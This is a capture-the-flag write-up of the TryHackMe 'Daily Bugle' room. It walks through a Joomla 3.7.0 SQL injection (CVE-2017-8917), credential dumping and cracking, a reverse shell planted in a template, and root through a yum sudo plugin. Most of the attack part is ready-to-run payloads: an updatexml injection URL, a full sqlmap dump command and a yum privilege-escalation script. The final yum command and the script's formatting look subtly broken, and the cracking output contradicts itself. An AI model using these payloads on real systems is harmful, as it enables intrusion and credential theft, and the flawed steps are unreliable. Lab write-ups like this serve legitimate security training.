Daily Bugle TryHackMe - Hard
This challenge focuses on exploiting a critical SQL injection in Joomla to gain access and escalating privileges to root.
Reconnaissance
Target: 10.65.151.124
Initial port scan to establish the attack surface.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
Parallel directory fuzzing with ffuf revealed a massive amount of accessible directories. Visual inspection of the web application and validation via the Wappalyzer extension confirmed the target is running the Joomla CMS.
Enumeration
Because Nmap and source code inspection failed to disclose the exact Joomla version, I pivoted to Metasploit's auxiliary modules to aggressively fingerprint the instance.
msfconsole -q
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(...) > set RHOSTS 10.65.151.124
msf6 auxiliary(...) > run
[*] Server: Apache/2.4.6 (CentOS) PHP/5.6.40
[+] Joomla version: 3.7.0
[*] Scanned 1 of 1 hosts (100% complete)
Joomla 3.7.0 is notoriously vulnerable to a com_fields SQL Injection (CVE-2017-8917). I manually verified the injection point by appending a stray quote to the list[fullordering] parameter to force a syntax error.
GET /index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml' HTTP/1.1
Host: 10.65.151.124
The application threw an explicit database error, confirming the vulnerability.
Efficiency
Instead of relying on sqlmap to blindly brute-force the table prefixes (which takes excessive time), you can manually extract the exact table name using an updatexml error-based payload.
I crafted a payload to leak the hex-encoded table name directly into the error response:
http://10.65.151.124/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0,concat(0x7e,(SELECT HEX(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)),0x7e),0)
Decoding the hex output returned fb9j5_assets. Stripping the suffix gives us the critical table prefix: fb9j5_.
Exploitation
Armed with the correct prefix, I targeted the fb9j5_users table to dump credentials using sqlmap.
sqlmap -u "http://10.65.151.124/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomla -T fb9j5_users --dump --no-cast --batch
Extracted Credentials:
- User: jonah
- Email: jonah@tryhackme.com
- Hash:
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
The hash is bcrypt. I spun up parallel cracking efforts to optimize time:
text Hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm Result: spiderman123
text Hash: $2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm Result: Not found.
With the credential jonah:spiderman123, I authenticated to the Joomla administrator backend. To gain code execution, I modified a default PHP template and injected a reverse shell, accessible at /templates/template_name/shell.php.
Execution granted a shell as the apache service account.
Rabbit Hole
After landing the apache shell, I noticed the user jjameson in /home and wasted 1.5 hours trying to laterally move directly into that directory or find SUID binaries. I completely neglected standard post-exploitation web enumeration. The actual path forward was simply reading the database password stored in plaintext inside the web root's configuration.php file, which happened to be reused for SSH. Lesson: Never skip basic config file enumeration.
Retrieving the password from configuration.php, I SSH'd directly into the box.
Privilege Escalation
Checking the sudo privileges for jjameson reveals a clear path to root.
[jjameson@dailybugle ~]$ sudo -l
# User jjameson may run the following commands on dailybugle:
# (ALL) NOPASSWD: /usr/bin/yum
The yum package manager has a known GTFOBins bypass allowing arbitrary command execution by loading a custom RPM plugin.
Important
Executing yum with the plugin flag requires setting up a dummy RPM repository or forcing the evaluation of an inline script.
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enablerepo=update
Post-Mortem & Methodology Notes
-
Don't Overlook Configs: Always prioritize the enumeration of configuration files (.php, .xml, .conf) in the web root. They are gold mines for credential reuse.
-
Version Precision: In CMS-heavy environments, getting the exact version number is 90% of the battle. Use specialized scanners (Metasploit, JoomScan) early.
-
Manual Verification: Before letting sqlmap run for hours, verify the injection point manually to save time and identify table prefixes.
-
GTFOBins Proficiency: When sudo -l shows a package manager (yum, apt, dnf), it’s almost always a guaranteed path to root via plugin or update hooks.